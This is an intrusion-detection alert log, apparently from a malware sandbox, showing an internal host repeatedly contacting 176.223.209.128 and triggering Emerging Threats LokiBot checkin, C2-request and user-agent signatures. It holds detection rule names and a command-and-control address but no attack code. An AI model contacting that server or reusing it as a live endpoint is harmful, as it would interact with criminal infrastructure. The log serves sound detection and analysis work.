11/25/21-10:53:53.973666	TCP	2025381	ET TROJAN LokiBot Checkin	50526	80	192.168.11.20	176.223.209.128
11/25/21-10:53:53.973666	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50526	80	192.168.11.20	176.223.209.128
11/25/21-10:53:54.486840	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50527	80	192.168.11.20	176.223.209.128
11/25/21-10:53:54.486840	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50527	80	192.168.11.20	176.223.209.128
11/25/21-10:53:54.486840	TCP	2025381	ET TROJAN LokiBot Checkin	50527	80	192.168.11.20	176.223.209.128
11/25/21-10:53:54.486840	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50527	80	192.168.11.20	176.223.209.128
11/25/21-10:53:54.975392	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50528	80	192.168.11.20	176.223.209.128
11/25/21-10:53:54.975392	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50528	80	192.168.11.20	176.223.209.128
11/25/21-10:53:54.975392	TCP	2025381	ET TROJAN LokiBot Checkin	50528	80	192.168.11.20	176.223.209.128
11/25/21-10:53:54.975392	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50528	80	192.168.11.20	176.223.209.128
11/25/21-10:53:55.408844	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50529	80	192.168.11.20	176.223.209.128
11/25/21-10:53:55.408844	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50529	80	192.168.11.20	176.223.209.128
11/25/21-10:53:55.408844	TCP	2025381	ET TROJAN LokiBot Checkin	50529	80	192.168.11.20	176.223.209.128
11/25/21-10:53:55.408844	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50529	80	192.168.11.20	176.223.209.128
11/25/21-10:53:55.934689	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50530	80	192.168.11.20	176.223.209.128
11/25/21-10:53:55.934689	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50530	80	192.168.11.20	176.223.209.128
11/25/21-10:53:55.934689	TCP	2025381	ET TROJAN LokiBot Checkin	50530	80	192.168.11.20	176.223.209.128
11/25/21-10:53:55.934689	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50530	80	192.168.11.20	176.223.209.128
11/25/21-10:53:56.441220	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50531	80	192.168.11.20	176.223.209.128
11/25/21-10:53:56.441220	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50531	80	192.168.11.20	176.223.209.128
11/25/21-10:53:56.441220	TCP	2025381	ET TROJAN LokiBot Checkin	50531	80	192.168.11.20	176.223.209.128
11/25/21-10:53:56.441220	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50531	80	192.168.11.20	176.223.209.128
11/25/21-10:53:56.962356	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50532	80	192.168.11.20	176.223.209.128
11/25/21-10:53:56.962356	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50532	80	192.168.11.20	176.223.209.128
11/25/21-10:53:56.962356	TCP	2025381	ET TROJAN LokiBot Checkin	50532	80	192.168.11.20	176.223.209.128
11/25/21-10:53:56.962356	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50532	80	192.168.11.20	176.223.209.128
11/25/21-10:53:57.518580	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50533	80	192.168.11.20	176.223.209.128
11/25/21-10:53:57.518580	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50533	80	192.168.11.20	176.223.209.128
11/25/21-10:53:57.518580	TCP	2025381	ET TROJAN LokiBot Checkin	50533	80	192.168.11.20	176.223.209.128
11/25/21-10:53:57.518580	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50533	80	192.168.11.20	176.223.209.128
11/25/21-10:53:58.021953	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50534	80	192.168.11.20	176.223.209.128
11/25/21-10:53:58.021953	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50534	80	192.168.11.20	176.223.209.128
11/25/21-10:53:58.021953	TCP	2025381	ET TROJAN LokiBot Checkin	50534	80	192.168.11.20	176.223.209.128
11/25/21-10:53:58.021953	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50534	80	192.168.11.20	176.223.209.128
11/25/21-10:53:58.510118	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50535	80	192.168.11.20	176.223.209.128
11/25/21-10:53:58.510118	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50535	80	192.168.11.20	176.223.209.128
11/25/21-10:53:58.510118	TCP	2025381	ET TROJAN LokiBot Checkin	50535	80	192.168.11.20	176.223.209.128
11/25/21-10:53:58.510118	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50535	80	192.168.11.20	176.223.209.128
11/25/21-10:53:59.032652	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50536	80	192.168.11.20	176.223.209.128
11/25/21-10:53:59.032652	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50536	80	192.168.11.20	176.223.209.128
11/25/21-10:53:59.032652	TCP	2025381	ET TROJAN LokiBot Checkin	50536	80	192.168.11.20	176.223.209.128
11/25/21-10:53:59.032652	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50536	80	192.168.11.20	176.223.209.128
11/25/21-10:53:59.532045	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50537	80	192.168.11.20	176.223.209.128
11/25/21-10:53:59.532045	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50537	80	192.168.11.20	176.223.209.128
11/25/21-10:53:59.532045	TCP	2025381	ET TROJAN LokiBot Checkin	50537	80	192.168.11.20	176.223.209.128
11/25/21-10:53:59.532045	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50537	80	192.168.11.20	176.223.209.128
11/25/21-10:53:59.984023	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50538	80	192.168.11.20	176.223.209.128
11/25/21-10:53:59.984023	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50538	80	192.168.11.20	176.223.209.128
11/25/21-10:53:59.984023	TCP	2025381	ET TROJAN LokiBot Checkin	50538	80	192.168.11.20	176.223.209.128
11/25/21-10:53:59.984023	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50538	80	192.168.11.20	176.223.209.128
11/25/21-10:54:00.499476	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50539	80	192.168.11.20	176.223.209.128
11/25/21-10:54:00.499476	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50539	80	192.168.11.20	176.223.209.128
11/25/21-10:54:00.499476	TCP	2025381	ET TROJAN LokiBot Checkin	50539	80	192.168.11.20	176.223.209.128
11/25/21-10:54:00.499476	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50539	80	192.168.11.20	176.223.209.128
11/25/21-10:54:00.994605	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50540	80	192.168.11.20	176.223.209.128
11/25/21-10:54:00.994605	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50540	80	192.168.11.20	176.223.209.128
11/25/21-10:54:00.994605	TCP	2025381	ET TROJAN LokiBot Checkin	50540	80	192.168.11.20	176.223.209.128
11/25/21-10:54:00.994605	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50540	80	192.168.11.20	176.223.209.128
11/25/21-10:54:01.467670	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50541	80	192.168.11.20	176.223.209.128
11/25/21-10:54:01.467670	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50541	80	192.168.11.20	176.223.209.128
11/25/21-10:54:01.467670	TCP	2025381	ET TROJAN LokiBot Checkin	50541	80	192.168.11.20	176.223.209.128
11/25/21-10:54:01.467670	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50541	80	192.168.11.20	176.223.209.128
11/25/21-10:54:01.962781	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50542	80	192.168.11.20	176.223.209.128
11/25/21-10:54:01.962781	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50542	80	192.168.11.20	176.223.209.128
11/25/21-10:54:01.962781	TCP	2025381	ET TROJAN LokiBot Checkin	50542	80	192.168.11.20	176.223.209.128
11/25/21-10:54:01.962781	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50542	80	192.168.11.20	176.223.209.128
11/25/21-10:54:02.473185	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50543	80	192.168.11.20	176.223.209.128
11/25/21-10:54:02.473185	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50543	80	192.168.11.20	176.223.209.128
11/25/21-10:54:02.473185	TCP	2025381	ET TROJAN LokiBot Checkin	50543	80	192.168.11.20	176.223.209.128
11/25/21-10:54:02.473185	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50543	80	192.168.11.20	176.223.209.128
11/25/21-10:54:02.999053	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50544	80	192.168.11.20	176.223.209.128
11/25/21-10:54:02.999053	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50544	80	192.168.11.20	176.223.209.128
11/25/21-10:54:02.999053	TCP	2025381	ET TROJAN LokiBot Checkin	50544	80	192.168.11.20	176.223.209.128
11/25/21-10:54:02.999053	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50544	80	192.168.11.20	176.223.209.128
11/25/21-10:54:03.513999	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50545	80	192.168.11.20	176.223.209.128
11/25/21-10:54:03.513999	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50545	80	192.168.11.20	176.223.209.128
11/25/21-10:54:03.513999	TCP	2025381	ET TROJAN LokiBot Checkin	50545	80	192.168.11.20	176.223.209.128
11/25/21-10:54:03.513999	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50545	80	192.168.11.20	176.223.209.128
11/25/21-10:54:04.015227	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50546	80	192.168.11.20	176.223.209.128
11/25/21-10:54:04.015227	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50546	80	192.168.11.20	176.223.209.128
11/25/21-10:54:04.015227	TCP	2025381	ET TROJAN LokiBot Checkin	50546	80	192.168.11.20	176.223.209.128
11/25/21-10:54:04.015227	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50546	80	192.168.11.20	176.223.209.128
11/25/21-10:54:04.523263	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50547	80	192.168.11.20	176.223.209.128
11/25/21-10:54:04.523263	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50547	80	192.168.11.20	176.223.209.128
11/25/21-10:54:04.523263	TCP	2025381	ET TROJAN LokiBot Checkin	50547	80	192.168.11.20	176.223.209.128
11/25/21-10:54:04.523263	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50547	80	192.168.11.20	176.223.209.128
11/25/21-10:54:05.030326	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50548	80	192.168.11.20	176.223.209.128
11/25/21-10:54:05.030326	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50548	80	192.168.11.20	176.223.209.128
11/25/21-10:54:05.030326	TCP	2025381	ET TROJAN LokiBot Checkin	50548	80	192.168.11.20	176.223.209.128
11/25/21-10:54:05.030326	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50548	80	192.168.11.20	176.223.209.128
11/25/21-10:54:05.501409	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50549	80	192.168.11.20	176.223.209.128
11/25/21-10:54:05.501409	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50549	80	192.168.11.20	176.223.209.128
11/25/21-10:54:05.501409	TCP	2025381	ET TROJAN LokiBot Checkin	50549	80	192.168.11.20	176.223.209.128
11/25/21-10:54:05.501409	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50549	80	192.168.11.20	176.223.209.128
11/25/21-10:54:05.963027	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50553	80	192.168.11.20	176.223.209.128
11/25/21-10:54:05.963027	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50553	80	192.168.11.20	176.223.209.128
11/25/21-10:54:05.963027	TCP	2025381	ET TROJAN LokiBot Checkin	50553	80	192.168.11.20	176.223.209.128
11/25/21-10:54:05.963027	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50553	80	192.168.11.20	176.223.209.128
11/25/21-10:54:06.473005	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50554	80	192.168.11.20	176.223.209.128
11/25/21-10:54:06.473005	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50554	80	192.168.11.20	176.223.209.128
11/25/21-10:54:06.473005	TCP	2025381	ET TROJAN LokiBot Checkin	50554	80	192.168.11.20	176.223.209.128
11/25/21-10:54:06.473005	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50554	80	192.168.11.20	176.223.209.128
11/25/21-10:54:06.918600	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50555	80	192.168.11.20	176.223.209.128
11/25/21-10:54:06.918600	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50555	80	192.168.11.20	176.223.209.128
11/25/21-10:54:06.918600	TCP	2025381	ET TROJAN LokiBot Checkin	50555	80	192.168.11.20	176.223.209.128
11/25/21-10:54:06.918600	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50555	80	192.168.11.20	176.223.209.128
11/25/21-10:54:07.389479	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50556	80	192.168.11.20	176.223.209.128
11/25/21-10:54:07.389479	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50556	80	192.168.11.20	176.223.209.128
11/25/21-10:54:07.389479	TCP	2025381	ET TROJAN LokiBot Checkin	50556	80	192.168.11.20	176.223.209.128
11/25/21-10:54:07.389479	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50556	80	192.168.11.20	176.223.209.128
11/25/21-10:54:07.893918	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50557	80	192.168.11.20	176.223.209.128
11/25/21-10:54:07.893918	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50557	80	192.168.11.20	176.223.209.128
11/25/21-10:54:07.893918	TCP	2025381	ET TROJAN LokiBot Checkin	50557	80	192.168.11.20	176.223.209.128
11/25/21-10:54:07.893918	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50557	80	192.168.11.20	176.223.209.128
11/25/21-10:54:08.406130	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50558	80	192.168.11.20	176.223.209.128
11/25/21-10:54:08.406130	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50558	80	192.168.11.20	176.223.209.128
11/25/21-10:54:08.406130	TCP	2025381	ET TROJAN LokiBot Checkin	50558	80	192.168.11.20	176.223.209.128
11/25/21-10:54:08.406130	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50558	80	192.168.11.20	176.223.209.128
11/25/21-10:54:08.906488	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50559	80	192.168.11.20	176.223.209.128
11/25/21-10:54:08.906488	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50559	80	192.168.11.20	176.223.209.128
11/25/21-10:54:08.906488	TCP	2025381	ET TROJAN LokiBot Checkin	50559	80	192.168.11.20	176.223.209.128
11/25/21-10:54:08.906488	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50559	80	192.168.11.20	176.223.209.128
11/25/21-10:54:09.414303	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50560	80	192.168.11.20	176.223.209.128
11/25/21-10:54:09.414303	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50560	80	192.168.11.20	176.223.209.128
11/25/21-10:54:09.414303	TCP	2025381	ET TROJAN LokiBot Checkin	50560	80	192.168.11.20	176.223.209.128
11/25/21-10:54:09.414303	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50560	80	192.168.11.20	176.223.209.128
11/25/21-10:54:09.910267	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50561	80	192.168.11.20	176.223.209.128
11/25/21-10:54:09.910267	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50561	80	192.168.11.20	176.223.209.128
11/25/21-10:54:09.910267	TCP	2025381	ET TROJAN LokiBot Checkin	50561	80	192.168.11.20	176.223.209.128
11/25/21-10:54:09.910267	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50561	80	192.168.11.20	176.223.209.128
11/25/21-10:54:10.396251	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50562	80	192.168.11.20	176.223.209.128
11/25/21-10:54:10.396251	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50562	80	192.168.11.20	176.223.209.128
11/25/21-10:54:10.396251	TCP	2025381	ET TROJAN LokiBot Checkin	50562	80	192.168.11.20	176.223.209.128
11/25/21-10:54:10.396251	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50562	80	192.168.11.20	176.223.209.128
11/25/21-10:54:10.902123	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50563	80	192.168.11.20	176.223.209.128
11/25/21-10:54:10.902123	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50563	80	192.168.11.20	176.223.209.128
11/25/21-10:54:10.902123	TCP	2025381	ET TROJAN LokiBot Checkin	50563	80	192.168.11.20	176.223.209.128
11/25/21-10:54:10.902123	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50563	80	192.168.11.20	176.223.209.128
11/25/21-10:54:11.424071	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50564	80	192.168.11.20	176.223.209.128
11/25/21-10:54:11.424071	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50564	80	192.168.11.20	176.223.209.128
11/25/21-10:54:11.424071	TCP	2025381	ET TROJAN LokiBot Checkin	50564	80	192.168.11.20	176.223.209.128
11/25/21-10:54:11.424071	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50564	80	192.168.11.20	176.223.209.128
11/25/21-10:54:11.949253	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50565	80	192.168.11.20	176.223.209.128
11/25/21-10:54:11.949253	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50565	80	192.168.11.20	176.223.209.128
11/25/21-10:54:11.949253	TCP	2025381	ET TROJAN LokiBot Checkin	50565	80	192.168.11.20	176.223.209.128
11/25/21-10:54:11.949253	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50565	80	192.168.11.20	176.223.209.128
11/25/21-10:54:12.442910	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50566	80	192.168.11.20	176.223.209.128
11/25/21-10:54:12.442910	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50566	80	192.168.11.20	176.223.209.128
11/25/21-10:54:12.442910	TCP	2025381	ET TROJAN LokiBot Checkin	50566	80	192.168.11.20	176.223.209.128
11/25/21-10:54:12.442910	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50566	80	192.168.11.20	176.223.209.128
11/25/21-10:54:12.904803	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50567	80	192.168.11.20	176.223.209.128
11/25/21-10:54:12.904803	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50567	80	192.168.11.20	176.223.209.128
11/25/21-10:54:12.904803	TCP	2025381	ET TROJAN LokiBot Checkin	50567	80	192.168.11.20	176.223.209.128
11/25/21-10:54:12.904803	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50567	80	192.168.11.20	176.223.209.128
11/25/21-10:54:13.432566	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50568	80	192.168.11.20	176.223.209.128
11/25/21-10:54:13.432566	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50568	80	192.168.11.20	176.223.209.128
11/25/21-10:54:13.432566	TCP	2025381	ET TROJAN LokiBot Checkin	50568	80	192.168.11.20	176.223.209.128
11/25/21-10:54:13.432566	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50568	80	192.168.11.20	176.223.209.128
11/25/21-10:54:13.930896	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50569	80	192.168.11.20	176.223.209.128
11/25/21-10:54:13.930896	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50569	80	192.168.11.20	176.223.209.128
11/25/21-10:54:13.930896	TCP	2025381	ET TROJAN LokiBot Checkin	50569	80	192.168.11.20	176.223.209.128
11/25/21-10:54:13.930896	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50569	80	192.168.11.20	176.223.209.128
11/25/21-10:54:14.436252	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50570	80	192.168.11.20	176.223.209.128
11/25/21-10:54:14.436252	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50570	80	192.168.11.20	176.223.209.128
11/25/21-10:54:14.436252	TCP	2025381	ET TROJAN LokiBot Checkin	50570	80	192.168.11.20	176.223.209.128
11/25/21-10:54:14.436252	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50570	80	192.168.11.20	176.223.209.128
11/25/21-10:54:14.939600	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50571	80	192.168.11.20	176.223.209.128
11/25/21-10:54:14.939600	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50571	80	192.168.11.20	176.223.209.128
11/25/21-10:54:14.939600	TCP	2025381	ET TROJAN LokiBot Checkin	50571	80	192.168.11.20	176.223.209.128
11/25/21-10:54:14.939600	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50571	80	192.168.11.20	176.223.209.128
11/25/21-10:54:15.422756	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50572	80	192.168.11.20	176.223.209.128
11/25/21-10:54:15.422756	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50572	80	192.168.11.20	176.223.209.128
11/25/21-10:54:15.422756	TCP	2025381	ET TROJAN LokiBot Checkin	50572	80	192.168.11.20	176.223.209.128
11/25/21-10:54:15.422756	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50572	80	192.168.11.20	176.223.209.128
11/25/21-10:54:15.874761	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50573	80	192.168.11.20	176.223.209.128
11/25/21-10:54:15.874761	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50573	80	192.168.11.20	176.223.209.128
11/25/21-10:54:15.874761	TCP	2025381	ET TROJAN LokiBot Checkin	50573	80	192.168.11.20	176.223.209.128
11/25/21-10:54:15.874761	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50573	80	192.168.11.20	176.223.209.128
11/25/21-10:54:16.294505	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50574	80	192.168.11.20	176.223.209.128
11/25/21-10:54:16.294505	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50574	80	192.168.11.20	176.223.209.128
11/25/21-10:54:16.294505	TCP	2025381	ET TROJAN LokiBot Checkin	50574	80	192.168.11.20	176.223.209.128
11/25/21-10:54:16.294505	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50574	80	192.168.11.20	176.223.209.128
11/25/21-10:54:16.790297	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50575	80	192.168.11.20	176.223.209.128
11/25/21-10:54:16.790297	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50575	80	192.168.11.20	176.223.209.128
11/25/21-10:54:16.790297	TCP	2025381	ET TROJAN LokiBot Checkin	50575	80	192.168.11.20	176.223.209.128
11/25/21-10:54:16.790297	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50575	80	192.168.11.20	176.223.209.128
11/25/21-10:54:17.290043	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50576	80	192.168.11.20	176.223.209.128
11/25/21-10:54:17.290043	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50576	80	192.168.11.20	176.223.209.128
11/25/21-10:54:17.290043	TCP	2025381	ET TROJAN LokiBot Checkin	50576	80	192.168.11.20	176.223.209.128
11/25/21-10:54:17.290043	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50576	80	192.168.11.20	176.223.209.128
11/25/21-10:54:17.798373	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50577	80	192.168.11.20	176.223.209.128
11/25/21-10:54:17.798373	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50577	80	192.168.11.20	176.223.209.128
11/25/21-10:54:17.798373	TCP	2025381	ET TROJAN LokiBot Checkin	50577	80	192.168.11.20	176.223.209.128
11/25/21-10:54:17.798373	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50577	80	192.168.11.20	176.223.209.128
11/25/21-10:54:18.280836	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50578	80	192.168.11.20	176.223.209.128
11/25/21-10:54:18.280836	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50578	80	192.168.11.20	176.223.209.128
11/25/21-10:54:18.280836	TCP	2025381	ET TROJAN LokiBot Checkin	50578	80	192.168.11.20	176.223.209.128
11/25/21-10:54:18.280836	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50578	80	192.168.11.20	176.223.209.128
11/25/21-10:54:18.732676	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50579	80	192.168.11.20	176.223.209.128
11/25/21-10:54:18.732676	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50579	80	192.168.11.20	176.223.209.128
11/25/21-10:54:18.732676	TCP	2025381	ET TROJAN LokiBot Checkin	50579	80	192.168.11.20	176.223.209.128
11/25/21-10:54:18.732676	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50579	80	192.168.11.20	176.223.209.128
11/25/21-10:54:19.228582	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50580	80	192.168.11.20	176.223.209.128
11/25/21-10:54:19.228582	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50580	80	192.168.11.20	176.223.209.128
11/25/21-10:54:19.228582	TCP	2025381	ET TROJAN LokiBot Checkin	50580	80	192.168.11.20	176.223.209.128
11/25/21-10:54:19.228582	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50580	80	192.168.11.20	176.223.209.128
11/25/21-10:54:19.735000	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50581	80	192.168.11.20	176.223.209.128
11/25/21-10:54:19.735000	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50581	80	192.168.11.20	176.223.209.128
11/25/21-10:54:19.735000	TCP	2025381	ET TROJAN LokiBot Checkin	50581	80	192.168.11.20	176.223.209.128
11/25/21-10:54:19.735000	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50581	80	192.168.11.20	176.223.209.128
11/25/21-10:54:20.196224	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50582	80	192.168.11.20	176.223.209.128
11/25/21-10:54:20.196224	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50582	80	192.168.11.20	176.223.209.128
11/25/21-10:54:20.196224	TCP	2025381	ET TROJAN LokiBot Checkin	50582	80	192.168.11.20	176.223.209.128
11/25/21-10:54:20.196224	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50582	80	192.168.11.20	176.223.209.128
11/25/21-10:54:20.692031	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50583	80	192.168.11.20	176.223.209.128
11/25/21-10:54:20.692031	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50583	80	192.168.11.20	176.223.209.128
11/25/21-10:54:20.692031	TCP	2025381	ET TROJAN LokiBot Checkin	50583	80	192.168.11.20	176.223.209.128
11/25/21-10:54:20.692031	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50583	80	192.168.11.20	176.223.209.128
